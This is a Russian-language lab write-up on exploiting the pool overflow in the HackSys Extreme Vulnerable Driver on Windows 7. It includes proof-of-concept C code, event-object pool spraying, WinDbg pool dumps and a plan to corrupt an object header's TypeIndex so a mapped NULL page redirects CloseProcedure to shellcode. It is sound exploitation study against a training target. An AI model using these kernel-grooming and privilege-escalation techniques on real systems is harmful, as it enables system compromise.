будет перевод вот этой статейки И ещё вот этой
Pool Feng-Shui
Перед тем как мы погрузимся в Pool Overflow, нам нужно понять базу пула, как его использовать для наших целей. Действительно хорошая статья по этому поводу есть у Tarjei Mandt. Настоятельно рекумендуется прочитать её перед тем, как идти дальше
Ядерный пул очень похож на кучу Windows, так как он используется для хранения динамических аллокаций памяти. Как и Heap Spray для подготовки(?) к обычным приложениям, в пространстве ядра нам нужно найти способ подготовки(?) пула таким образом, чтобы мы могли предсказуемо вызвать наш шеллкод из памяти. Очень важно понимать концепцию аллокатора пула и как работает механизм аллокации и деаллокации пула.
Для нашего HEVD драйвера уязвимый пользовательский буфер аллоциется в невыгружемом пуле, так что нам нужно найти технику для грума(?) невыгружаемого пула. Windows предоставляет объект события, который хранится в невыгружаемом пуле и может быть создан с помощью CreateEvent:
HANDLE WINAPI CreateEvent(
_In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes,
_In_ BOOL bManualReset,
_In_ BOOL bInitialState,
_In_opt_ LPCTSTR lpName
);
Здесь нам нужно создать два больших массива объектов события с помощью этого апи и затем создать дыры в этом аллоцированном чанке с помощью освобождения некоторых из объектов события в одном из массивов, используя CloseHandle, которые после объединения объединятся в большее большие свободные чанки:
BOOL WINAPI CloseHandle(
_In_ HANDLE hObject
);
В эти свободные чанки нам нужно будет вставить наш уязвимый пользовательский буфер таким образом, чтобы он надежно перезаписывал нужную область памяти каждый раз, как мы будем “портить” соседний заголовок объекта события, чтобы перенаправить поток выполнения на наш шеллкод.
После этого мы положим указатель на наш шеллкод таким образом, чтобы он мог быть вызван с помощью манипуляций нашим покоррапченным заголовком. Мы будем фейкать заголовок OBJECT_TYPE, переписывая указатель на одну из процедур в OBJECT_TYPE_INITIALIZER
В сорцах видим то же: нет проверким на длину переданного буфера.
__try {
DbgPrint("[+] Allocating Pool chunk\n");
// Allocate Pool chunk
KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,
(SIZE_T)POOL_BUFFER_SIZE,
(ULONG)POOL_TAG);
if (!KernelBuffer) {
// Unable to allocate Pool chunk
DbgPrint("[-] Unable to allocate Pool chunk\n");
Status = STATUS_NO_MEMORY;
return Status;
}
else {
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
}
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
#ifdef SECURE
// Secure Note: This is secure because the developer is passing a size
// equal to size of the allocated Pool chunk to RtlCopyMemory()/memcpy().
// Hence, there will be no overflow
RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);
#else
DbgPrint("[+] Triggering Pool Overflow\n");
// Vulnerability Note: This is a vanilla Pool Based Overflow vulnerability
// because the developer is passing the user supplied value directly to
// RtlCopyMemory()/memcpy() without validating if the size is greater or
// equal to the size of the allocated Pool chunk
RtlCopyMemory(KernelBuffer, UserBuffer, Size);
Снова пишем сплойт, ставим бряку и смотрим:
#include <Windows.h>
#include <string.h>
#include <stdio.h>
#define IO_CODE 0x22200f
const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";
int main() {
printf("[+] Calling CreateFileA() to obtain a handle to driver\n");
HANDLE hDevice = CreateFileA(kDevName,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Error - dailed to get file handle!\n");
system("pause");
return -1;
}
printf("[+] Successfully obtained a handle to the driver\n");
const char* poc = "AAAABBBB222233334444555566667777888899990000zzzzxxxxccccvvvvbbbbnnnnmmmmaaaassssddddffffgggghhhhjjjjkkkkllllpppp";
//printf("%d", sizeof(poc));
DWORD bytesRetn;
printf("[+] Starting interaction with the driver\n");
DeviceIoControl(hDevice, IO_CODE, (LPVOID)poc, 100, NULL, 0, &bytesRetn, NULL);
//system("cmd.exe");
CloseHandle(hDevice);
return 0;
}
in windbg:
ed nt!Kd_Default_Mask 8
.sympath+ location_of_HEVD_pdb
.reload
.reload /f
bp HEVD!TriggerPoolOverflow
bp HEVD!TriggerPoolOverflow+e6
kd> g
[+] Allocating Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x1F8
[+] Pool Chunk: 0x8509E008
[+] UserBuffer: 0x012721B0
[+] UserBuffer Size: 0x64
[+] KernelBuffer: 0x8509E008
[+] KernelBuffer Size: 0x1F8
[+] Triggering Pool Overflow
[+] Freeing Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Chunk: 0x8509E008
****** HACKSYS_EVD_IOCTL_POOL_OVERFLOW ******
Попробуем длину ровно 0x1F8, будем на границе допустимого:
kd> g
[+] Allocating Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x1F8
[+] Pool Chunk: 0x850C4D50
[+] UserBuffer: 0x00375668
[+] UserBuffer Size: 0x1F8
[+] KernelBuffer: 0x850C4D50
[+] KernelBuffer Size: 0x1F8
[+] Triggering Pool Overflow
kd> !pool 0x850C4D50
Pool page 850c4d50 region is Unknown
850c4000 size: 48 previous size: 0 (Free ) Vad
850c4048 size: 48 previous size: 48 (Free ) Vad
850c4090 size: 48 previous size: 48 (Free ) Vad
850c40d8 size: 48 previous size: 48 (Free ) Vad
850c4120 size: 48 previous size: 48 (Free ) Vad
850c4168 size: 28 previous size: 48 (Allocated) FSro
850c4190 size: b8 previous size: 28 (Allocated) File (Protected)
850c4248 size: 128 previous size: b8 (Allocated) Ntfi
850c4370 size: 98 previous size: 128 (Allocated) MmCa
850c4408 size: 168 previous size: 98 (Allocated) CcSc
850c4570 size: 68 previous size: 168 (Allocated) FMsl
850c45d8 size: c8 previous size: 68 (Allocated) Ntfx
850c46a0 size: b8 previous size: c8 (Allocated) File (Protected)
850c4758 size: 128 previous size: b8 (Allocated) Ntfi
850c4880 size: 98 previous size: 128 (Allocated) MmCa
850c4918 size: 28 previous size: 98 (Free) CcSc
850c4940 size: 140 previous size: 28 (Free ) Io Process: 86db94b8
850c4a80 size: 128 previous size: 140 (Allocated) Ntfi
850c4ba8 size: b8 previous size: 128 (Allocated) File (Protected)
850c4c60 size: c8 previous size: b8 (Allocated) Ntfx
850c4d28 size: 20 previous size: c8 (Free) Io
*850c4d48 size: 200 previous size: 20 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
850c4f48 size: b8 previous size: 200 (Allocated) File (Protected)
kd> dd 850c4d48 L90
850c4d48 04400004 6b636148 00000000 0030e810
850c4d58 41414141 41414141 41414141 41414141
850c4d68 41414141 41414141 41414141 41414141
850c4d78 41414141 41414141 41414141 41414141
850c4d88 41414141 41414141 41414141 41414141
850c4d98 41414141 41414141 41414141 41414141
850c4da8 41414141 41414141 41414141 41414141
850c4db8 41414141 41414141 41414141 41414141
850c4dc8 41414141 41414141 41414141 41414141
850c4dd8 41414141 41414141 41414141 41414141
850c4de8 41414141 41414141 41414141 41414141
850c4df8 41414141 41414141 41414141 41414141
850c4e08 41414141 41414141 41414141 41414141
850c4e18 41414141 41414141 41414141 41414141
850c4e28 41414141 41414141 41414141 41414141
850c4e38 41414141 41414141 41414141 41414141
850c4e48 41414141 41414141 41414141 41414141
850c4e58 41414141 41414141 41414141 41414141
850c4e68 41414141 41414141 41414141 41414141
850c4e78 41414141 41414141 41414141 41414141
850c4e88 41414141 41414141 41414141 41414141
850c4e98 41414141 41414141 41414141 41414141
850c4ea8 41414141 41414141 41414141 41414141
850c4eb8 41414141 41414141 41414141 41414141
850c4ec8 41414141 41414141 41414141 41414141
850c4ed8 41414141 41414141 41414141 41414141
850c4ee8 41414141 41414141 41414141 41414141
850c4ef8 41414141 41414141 41414141 41414141
850c4f08 41414141 41414141 41414141 41414141
850c4f18 41414141 41414141 41414141 41414141
850c4f28 41414141 41414141 41414141 41414141
850c4f38 41414141 41414141 41414141 41414141
850c4f48 04170040 e56c6946 00000400 000000f8
850c4f58 00000000 00000000 00000000 00000000
850c4f68 00000001 00000000 00000000 400c001c
850c4f78 82746b40 00000000 00800005 854962c0
kd> dd 850c4f48
850c4f48 04170040 e56c6946 00000400 000000f8
850c4f58 00000000 00000000 00000000 00000000
850c4f68 00000001 00000000 00000000 400c001c
850c4f78 82746b40 00000000 00800005 854962c0
Видим, что влезли идеально
...
const char* poc = std::string(0x1f8, 'A').c_str();
...
DeviceIoControl(hDevice, IO_CODE, (LPVOID)poc, 0x1f8, NULL, 0, &bytesRetn, NULL);
...
Впереди нашего чанка хедер следующего, если мы его покорраптим, улетим в BSOD
kd> dd 850c4f48-8
850c4f40 41414141 41414141 04170040 e56c6946
850c4f50 00000400 000000f8 00000000 00000000
850c4f60 00000000 00000000 00000001 00000000
Поменяем длину на 0x200 и посмотрим, что будет:
kd> !pool 0x850C4D50
Pool page 850c4d50 region is Unknown
850c4000 size: 48 previous size: 0 (Allocated) Vad
850c4048 size: 48 previous size: 48 (Allocated) Vad
850c4090 size: 48 previous size: 48 (Allocated) Vad
850c40d8 size: 48 previous size: 48 (Allocated) Vad
850c4120 size: 48 previous size: 48 (Allocated) Vad
850c4168 size: 28 previous size: 48 (Allocated) FSro
850c4190 size: b8 previous size: 28 (Allocated) File (Protected)
850c4248 size: 128 previous size: b8 (Allocated) Ntfi
850c4370 size: 98 previous size: 128 (Allocated) MmCa
850c4408 size: 168 previous size: 98 (Allocated) CcSc
850c4570 size: 68 previous size: 168 (Allocated) FMsl
850c45d8 size: c8 previous size: 68 (Allocated) Ntfx
850c46a0 size: b8 previous size: c8 (Allocated) File (Protected)
850c4758 size: 128 previous size: b8 (Allocated) Ntfi
850c4880 size: 98 previous size: 128 (Allocated) MmCa
850c4918 size: 28 previous size: 98 (Free) CcSc
850c4940 size: 140 previous size: 28 (Free ) Io Process: 86db94b8
850c4a80 size: 128 previous size: 140 (Allocated) Ntfi
850c4ba8 size: b8 previous size: 128 (Allocated) File (Protected)
850c4c60 size: c8 previous size: b8 (Allocated) Ntfx
850c4d28 size: 20 previous size: c8 (Free) Io
*850c4d48 size: 200 previous size: 20 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
850c4f48 doesn't look like a valid small pool allocation, checking to see
if the entire page is actually part of a large page allocation...
850c4f48 is not a valid large pool allocation, checking large session pool...
850c4f48 is not valid pool. Checking for freed (or corrupt) pool
Bad previous allocation size @850c4f48, last size was 40
kd> dd 850c4f48-8
ReadVirtual: 850c4f40 not properly sign extended
850c4f40 41414141 41414141 41414141 41414141
850c4f50 00000400 000000f8 00000000 00000000
850c4f60 00000000 00000000 00000001 00000000
850c4f70 00000000 400c001c 82746b40 00000000
A fatal system error has occurred.
Интересная вещь, которую нужно отметить - это как мы на самом деле можем контроилровать соседний заголовок с помощью нашего переполнения. Это уязвимость, которую мы будем эксплуатировать грумингом(?) предсказуемым образом, избавлясь от рандома в нашем пуле. Для этого упомянутый ранее CreateEvent подходит идеально, так как он имее тразмер 0x40, который идеально подойдёт для размера нашего пула 0x200
Мы будем спреить большое количество объектов событий, хранить хендлы на них в массивах и смотреть, как это влияет на пул
HANDLE spray_event1[10000];
HANDLE spray_event2[5000];
for (int i = 0; i < 10000; i++) {
spray_event1[i] = CreateEventA(0, 0, 0, 0);
}
for (int i = 0; i < 5000; i++) {
spray_event2[i] = CreateEventA(0, 0, 0, 0);
}
kd> !pool 0x850B4620
Pool page 850b4620 region is Unknown
850b4000 size: 40 previous size: 0 (Allocated) Even (Protected)
850b4040 size: 5d8 previous size: 40 (Free) pter
*850b4618 size: 200 previous size: 5d8 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
ReadVirtual: 850b4914 not properly sign extended
850b4818 size: 100 previous size: 200 (Allocated) Io Process: 86db7030
850b4918 size: a8 previous size: 100 (Allocated) MmWe
ReadVirtual: 850b4afc not properly sign extended
850b49c0 size: 140 previous size: a8 (Allocated) Io Process: 86db7030
ReadVirtual: 850b4bfc not properly sign extended
850b4b00 size: 100 previous size: 140 (Free ) Io Process: 86db7030
850b4c00 size: 40 previous size: 100 (Allocated) Even (Protected)
850b4c40 size: 40 previous size: 40 (Allocated) Even (Protected)
850b4c80 size: 40 previous size: 40 (Allocated) Even (Protected)
850b4cc0 size: 40 previous size: 40 (Allocated) Even (Protected)
850b4d00 size: 40 previous size: 40 (Allocated) Even (Protected)
850b4d40 size: 40 previous size: 40 (Allocated) Even (Protected)
850b4d80 size: 40 previous size: 40 (Allocated) Even (Protected)
850b4dc0 size: 40 previous size: 40 (Allocated) Even (Protected)
850b4e00 size: 40 previous size: 40 (Allocated) Even (Protected)
850b4e40 size: 40 previous size: 40 (Allocated) Even (Protected)
850b4e80 size: 40 previous size: 40 (Allocated) Even (Protected)
850b4ec0 size: 40 previous size: 40 (Allocated) Even (Protected)
850b4f00 size: 40 previous size: 40 (Allocated) Even (Protected)
850b4f40 size: 40 previous size: 40 (Allocated) Even (Protected)
850b4f80 size: 40 previous size: 40 (Allocated) Even (Protected)
850b4fc0 size: 40 previous size: 40 (Allocated) Even (Protected)
Наши объекты событий заспреены в невыгружаемом пуле. Теперь нам нужно создать дыры и реаллокейтнуть наш уязвимый буфер Hack в созданные дыры. После реаллоцирования нашего уязвимого буфера нам нужно покорраптить хедер соседнего пула так, чтобы он вел к нашему шеллкоду. Размер объекта события будет 0x40 (0x38 + 0x8), включая заголовок пула
kd> !pool 0x850B4620
Pool page 850b4620 region is Unknown
850b4000 size: 40 previous size: 0 (Allocated) Even (Protected)
850b4040 size: 28 previous size: 40 (Free) pter
850b4068 size: 388 previous size: 28 (Free ) XSav
850b43f0 size: 40 previous size: 388 (Free ) Ussb Process: 86db7030
850b4430 size: 140 previous size: 40 (Allocated) Io Process: 86db7030
850b4570 size: a8 previous size: 140 (Free ) MmWe
*850b4618 size: 200 previous size: a8 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
850b4818 size: 60 previous size: 200 (Free) Io
850b4878 size: 388 previous size: 60 (Free ) XSav
850b4c00 size: 40 previous size: 388 (Allocated) Even (Protected)
850b4c40 size: 40 previous size: 40 (Allocated) Even (Protected)
kd> dt _POOL_HEADER 850b4618
nt!_POOL_HEADER
+0x000 PreviousSize : 0y000010101 (0x15)
+0x000 PoolIndex : 0y0000000 (0)
+0x002 BlockSize : 0y001000000 (0x40)
+0x002 PoolType : 0y0000010 (0x2)
+0x000 Ulong1 : 0x4400015
+0x004 PoolTag : 0x6b636148
+0x004 AllocatorBackTraceIndex : 0x6148
+0x006 PoolTagHash : 0x6b63
Разберём хедеры:
kd> g
[+] Allocating Pool chunk
[+] Pool Tag: 'kcaH'
[+] Pool Type: NonPagedPool
[+] Pool Size: 0x1F8
[+] Pool Chunk: 0x8524D4C8
[+] UserBuffer: 0x00098908
[+] UserBuffer Size: 0x1F8
[+] KernelBuffer: 0x8524D4C8
[+] KernelBuffer Size: 0x1F8
[+] Triggering Pool Overflow
Break instruction exception - code 80000003 (first chance)
HEVD!TriggerPoolOverflow+0xd8:
a855a202 ff750c push dword ptr [ebp+0Ch]
kd> !pool 0x8524D4C8
Pool page 8524d4c8 region is Unknown
8524d000 size: 40 previous size: 0 (Allocated) Even (Protected)
8524d040 size: f8 previous size: 40 (Free) r...
8524d138 size: 388 previous size: f8 (Free ) XSav
*8524d4c0 size: 200 previous size: 388 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
ReadVirtual: 8524d7fc not properly sign extended
8524d6c0 size: 140 previous size: 200 (Allocated) Io Process: 86d7e228
8524d800 size: 40 previous size: 140 (Allocated) Even (Protected)
8524d840 size: 40 previous size: 40 (Allocated) Even (Protected)
8524d880 size: 40 previous size: 40 (Allocated) Even (Protected)
8524d8c0 size: 40 previous size: 40 (Allocated) Even (Protected)
8524d900 size: 40 previous size: 40 (Allocated) Even (Protected)
8524d940 size: 40 previous size: 40 (Allocated) Even (Protected)
8524d980 size: 40 previous size: 40 (Allocated) Even (Protected)
kd> dd 8524d6c0-8
ReadVirtual: 8524d6b8 not properly sign extended
8524d6b8 41414141 41414141 14280040 20206f49
8524d6c8 00320033 0063005c 00720065 00700074
8524d6d8 006f0072 002e0070 006c0064 0000006c
8524d6e8 c0100002 0424007e 95d23b8f 00000000
8524d6f8 1c210007 20206f49 00000000 00630069
8524d708 005c0065 00610048 00640072 00690064
8524d718 006b0073 006f0056 0075006c 0065006d
8524d728 005c0031 00690057 0064006e 0077006f
Так как мы спреим невыгружаемый пул с помощью объектов событий, мы можем просто добавить наши значения в конец нашего уязвимого буфера. Но это не сработает, так как хедеры имеют внутреннюю структуру, нужна некоторая модификация. Давайте копнём глубже в хедеры, чтобы понять, что модифицировать:
Вещь, которая нас интересует, это TypeIndex, который на самом деле оффсет (0xC) в массиве указателей, который объявляет OBJECT_TYPE каждого объекта, который поддерживает Windows.
kd> dd nt!ObTypeIndexTable
8277aee0 00000000 bad0b0b0 84ec7860 84ec7798
8277aef0 84ec76d0 84ec74a0 84ec7360 84ec7298
8277af00 84ec71d0 84ecef78 84eceeb0 84ece818 84ec71d0 - оффсет 0xC
8277af10 84f60418 84f60350 84f61418 84f61350
8277af20 84f5f3f0 84f5f328 84f629b8 84f628f0
8277af30 84f62828 84f62760 84f62698 84f625d0
8277af40 84f62508 84f62440 84f62378 84f63040
8277af50 84f63f78 84f63bd8 84f63b10 84f63a48
kd> dt nt!_OBJECT_TYPE 84f60418 .
+0x000 TypeList : [ 0x84f60418 - 0x84f60418 ]
+0x000 Flink : 0x84f60418 _LIST_ENTRY [ 0x84f60418 - 0x84f60418 ]
+0x004 Blink : 0x84f60418 _LIST_ENTRY [ 0x84f60418 - 0x84f60418 ]
+0x008 Name : "Event"
+0x000 Length : 0xa
+0x002 MaximumLength : 0xc
+0x004 Buffer : 0x8cc08a88 "Event"
+0x010 DefaultObject :
+0x014 Index : 0xc ''
+0x018 TotalNumberOfObjects : 0x4643
+0x01c TotalNumberOfHandles : 0x466f
+0x020 HighWaterNumberOfObjects : 0x4643
+0x024 HighWaterNumberOfHandles : 0x466f
+0x028 TypeInfo :
+0x000 Length : 0x50
+0x002 ObjectTypeFlags : 0 ''
+0x002 CaseInsensitive : 0y0
+0x002 UnnamedObjectsOnly : 0y0
+0x002 UseDefaultObject : 0y0
+0x002 SecurityRequired : 0y0
+0x002 MaintainHandleCount : 0y0
+0x002 MaintainTypeList : 0y0
+0x002 SupportsObjectCallbacks : 0y0
+0x002 CacheAligned : 0y0
+0x004 ObjectTypeCode : 2
+0x008 InvalidAttributes : 0x100
+0x00c GenericMapping : _GENERIC_MAPPING
+0x01c ValidAccessMask : 0x1f0003
+0x020 RetainAccess : 0
+0x024 PoolType : 0 ( NonPagedPool )
+0x028 DefaultPagedPoolCharge : 0
+0x02c DefaultNonPagedPoolCharge : 0x40
+0x030 DumpProcedure : (null)
+0x034 OpenProcedure : (null)
+0x038 CloseProcedure : (null)
Важные моменты:
- Первый указатель 00000000 очень важен, так как мы на Windows 7 (объяснение дальше)
- Следующий выделенный указатель 84f60418, который по оффсету 0xC от начала
- Анализируя, мы понимаем, что это объект типа Event
- Теперь самое интеерсное: член TypeInfo по оффсету 0x28
-
- В конце этого члена есть вызовы нескольких процедур, можем использовать удобную из предоставленных. Будем импользовать CloseProcedure, находящуюся по 0x38
-
- Оффсет на CloseProcedure становится 0x28 + 0x38 = 0x60
-
- 0x60 - это указатель, который мы будем переписывать указателем на шеллкод и затем вызывать метод CloseProcedure
Наша цель - изменить оффсет TypeIndex с 0xc на 0x0, поскольку первый указатель является нулевым, а в Windows 7 существует недостаток, при котором возможно отображение NULL-страниц с помощью вызова NtAllocateVirtualMemory
NTSTATUS ZwAllocateVirtualMemory(
_In_ HANDLE ProcessHandle,
_Inout_ PVOID *BaseAddress,
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG AllocationType,
_In_ ULONG Protect
);
И затем пишем указатель на наш шеллкод в нужную локацию (0x60), используя вызов WriteProcessMemory
BOOL WINAPI WriteProcessMemory(
_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_ LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_ SIZE_T *lpNumberOfBytesWritten
);
Ещё одно объяснение из следующей статьи
(дальше делал по коду из второго мануала, TODO: переделать, убрать векторы)
Общая идея атаки
Что у нас есть сейчас? - возможность перезаписать память пула. Чтобы получить из этого выгоду, нам нужно найти способ поменять состояние пула на предсказуемое нами. Если мы повредим поля, мы улетим в БСОД.
В целом, невыгружаемый пул фрагментирован, что значит, что в нём есть дыры из чанков, которые были освобождены другими процессами системы. Нам нужно заполнить эти дыры спрея кучу объектов в невыгружаемый пул так, что механизм аллокации положит наши чанки в эти пустые слоты. Как только это получится, нам нужно ещё заспреить объектов, чтобы самые частые(?) объекты в пуле были нашими.
Приводя аналогию,
В качестве аналогии, если бы у нас был мешок с фигурами из шахматного набора, у нас было бы мало шансов вытащить из него короля; однако, если мы добавим в мешок 15 000 королей, наши шансы значительно возрастут!
И так, две цели:
- заспреить пул объектами, пока органически существующие в пуле дыри не заполнятся нашими объектами
- заспреить пул снова, чтобы увеличить количество объектов, которые мы аллоцировали, чтобы они были последовательными в невыгружаемом пуле
Далее взять наши аллокации, которые образовали большой цельный блок, и проделаем в них дырки размеров с наш ядерный буфер, который мы можем аллоцировать с помощью функций драйвера. Наш ядерный буфер размером 0x200. Таким образом, когда наш буфер аллоцирован, аллокатор положит его по освобождённой 0x200 дыре, которую мы только что создали. Теперь наша аллокация(буфер) полностью окружена объектами, которые мы сами заспреили. Это прекрасно, потому что теперь, когда наш буфер переполняет соседней аллокации пула, мы будем знать, что конкретно мы перезаписываем, потому что это будет чанк, который мы сами и аллоцировали
Мы будем использовать эту возможность перезаписи данных, чтобы предсказуемо перезаписать часть данных в одном из наших аллоцированных объектов, который, после освобождения, закончится тем, что ядро выполнит указатель функции, который мы заполним шеллкодом. Теперь план такой:
- спреим пул объектами, пока все органические дырки не будут заполнены нашими объектами
- спреим пул снова…
- делаем 0x200 дыры в аллокациях
- используем функции драйвера, чтобы заполнить нашим ядерным буфером новые дыры
- чтобы это распределение предсказуемо перезаписало информацию в соседней аллокации, что приведет к выполнению ядром нашего шеллкода, когда поврежденная аллокация будет освобождена
Event objects
Автор блога информирует нас, что Event Object идеальны для этой задачи, потому что их размер 0x40. Мы можем освободить 8 Event Objects и получить наши дырки размером 0x200 байт.
>>> 0x200 % 0x40
0
>>> 0x200 / 0x40
8.0
На параметры нам всё равно, так что будем вызывать CreateEventA с нулями
Что мы видим? Что наш чанк hack посередине аллоцированных CreateEvent’ом:
kd> !pool 0x8513C8C8
Pool page 8513c8c8 region is Unknown
8513c000 size: 388 previous size: 0 (Free ) XSav
8513c388 size: 438 previous size: 388 (Free) ....
8513c7c0 size: 40 previous size: 438 (Allocated) Even (Protected)
8513c800 size: 40 previous size: 40 (Allocated) Even (Protected)
8513c840 size: 40 previous size: 40 (Allocated) Even (Protected)
8513c880 size: 40 previous size: 40 (Allocated) Even (Protected)
*8513c8c0 size: 200 previous size: 40 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
8513cac0 size: 40 previous size: 200 (Allocated) Even (Protected)
8513cb00 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cb40 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cb80 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cbc0 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cc00 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cc40 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cc80 size: 40 previous size: 40 (Allocated) Even (Protected)
8513ccc0 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cd00 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cd40 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cd80 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cdc0 size: 40 previous size: 40 (Allocated) Even (Protected)
8513ce00 size: 40 previous size: 40 (Allocated) Even (Protected)
8513ce40 size: 1c0 previous size: 40 (Free) Even
И там у нас:
kd> dd 8513c8c0 L30
8513c8c0 04400008 6b636148 41414141 41414141
8513c8d0 41414141 41414141 41414141 41414141
8513c8e0 41414141 41414141 41414141 41414141
8513c8f0 41414141 41414141 41414141 41414141
8513c900 41414141 41414141 41414141 41414141
8513c910 41414141 41414141 41414141 41414141
8513c920 41414141 41414141 41414141 41414141
8513c930 41414141 41414141 41414141 41414141
8513c940 41414141 41414141 41414141 41414141
8513c950 41414141 41414141 41414141 41414141
8513c960 41414141 41414141 41414141 41414141
8513c970 41414141 41414141 41414141 41414141
Кстати, указатель на этот ядерный пул содержится в eax (вместо принта в самом драйвере можно было получить адрес ещё из eax) Этот адрес - на 8 байт дальше самой аллокации, потому что 4-х байтовый лонг и тег кладутся до непосредственного буфера.
kd> !pool 8513c8c0
Pool page 8513c8c0 region is Unknown
8513c000 size: 388 previous size: 0 (Free ) XSav
8513c388 size: 438 previous size: 388 (Free) ....
8513c7c0 size: 40 previous size: 438 (Allocated) Even (Protected)
8513c800 size: 40 previous size: 40 (Allocated) Even (Protected)
8513c840 size: 40 previous size: 40 (Allocated) Even (Protected)
8513c880 size: 40 previous size: 40 (Allocated) Even (Protected)
*8513c8c0 size: 200 previous size: 40 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
8513cac0 size: 40 previous size: 200 (Allocated) Even (Protected)
8513cb00 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cb40 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cb80 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cbc0 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cc00 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cc40 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cc80 size: 40 previous size: 40 (Allocated) Even (Protected)
8513ccc0 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cd00 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cd40 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cd80 size: 40 previous size: 40 (Allocated) Even (Protected)
8513cdc0 size: 40 previous size: 40 (Allocated) Even (Protected)
8513ce00 size: 40 previous size: 40 (Allocated) Even (Protected)
8513ce40 size: 1c0 previous size: 40 (Free) Even
kd> dt nt!_POOL_HEADER 8513c8c0
+0x000 PreviousSize : 0y000001000 (0x8)
+0x000 PoolIndex : 0y0000000 (0)
+0x002 BlockSize : 0y001000000 (0x40)
+0x002 PoolType : 0y0000010 (0x2)
+0x000 Ulong1 : 0x4400008
+0x004 PoolTag : 0x6b636148
+0x004 AllocatorBackTraceIndex : 0x6148
+0x006 PoolTagHash : 0x6b63
kd> db 8513c8c0+4
8513c8c4 48 61 63 6b 41 41 41 41-41 41 41 41 41 41 41 41 HackAAAAAAAAAAAA
kd> dt nt!_POOL_HEADER 8513cdc0
+0x000 PreviousSize : 0y000001000 (0x8)
+0x000 PoolIndex : 0y0000000 (0)
+0x002 BlockSize : 0y000001000 (0x8)
+0x002 PoolType : 0y0000010 (0x2)
+0x000 Ulong1 : 0x4080008
+0x004 PoolTag : 0xee657645
+0x004 AllocatorBackTraceIndex : 0x7645
+0x006 PoolTagHash : 0xee65
kd> dt nt!_OBJECT_HEADER_QUOTA_INFO 8513cdc0+8
+0x000 PagedPoolCharge : 0
+0x004 NonPagedPoolCharge : 0x40
+0x008 SecurityDescriptorCharge : 0
+0x00c SecurityDescriptorQuotaBlock : (null)
kd> dt nt!_OBJECT_HEADER 8513cdc0+8+10
+0x000 PointerCount : 0n1
+0x004 HandleCount : 0n1
+0x004 NextToFree : 0x00000001 Void
+0x008 Lock : _EX_PUSH_LOCK
+0x00c TypeIndex : 0xc ''
+0x00d TraceFlags : 0 ''
+0x00e InfoMask : 0x8 ''
+0x00f Flags : 0 ''
+0x010 ObjectCreateInfo : 0x86e7f640 _OBJECT_CREATE_INFORMATION
+0x010 QuotaBlockCharged : 0x86e7f640 Void
+0x014 SecurityDescriptor : (null)
+0x018 Body : _QUAD
kd> dd nt!ObTypeIndexTable
82761ee0 00000000 bad0b0b0 84ec7860 84ec7798
82761ef0 84ec76d0 84ec74a0 84ec7360 84ec7298
82761f00 84ec71d0 84ecef78 84eceeb0 84ece818
82761f10 84f60418 84f60350 84f61418 84f61350
82761f20 84f5f3f0 84f5f328 84f629b8 84f628f0
82761f30 84f62828 84f62760 84f62698 84f625d0
82761f40 84f62508 84f62440 84f62378 84f63040
82761f50 84f63f78 84f63bd8 84f63b10 84f63a48
kd> dd nt!ObTypeIndexTable+0xC*4 L1
82761f10 84f60418
kd> dt nt!_OBJECT_TYPE 84f60418 -b
+0x000 TypeList : _LIST_ENTRY [ 0x84f60418 - 0x84f60418 ]
+0x000 Flink : 0x84f60418
+0x004 Blink : 0x84f60418
+0x008 Name : _UNICODE_STRING "Event"
+0x000 Length : 0xa
+0x002 MaximumLength : 0xc
+0x004 Buffer : 0x8cc08a88 "Event"
+0x010 DefaultObject : (null)
+0x014 Index : 0xc ''
+0x018 TotalNumberOfObjects : 0x5043
+0x01c TotalNumberOfHandles : 0x506e
+0x020 HighWaterNumberOfObjects : 0x5e7b
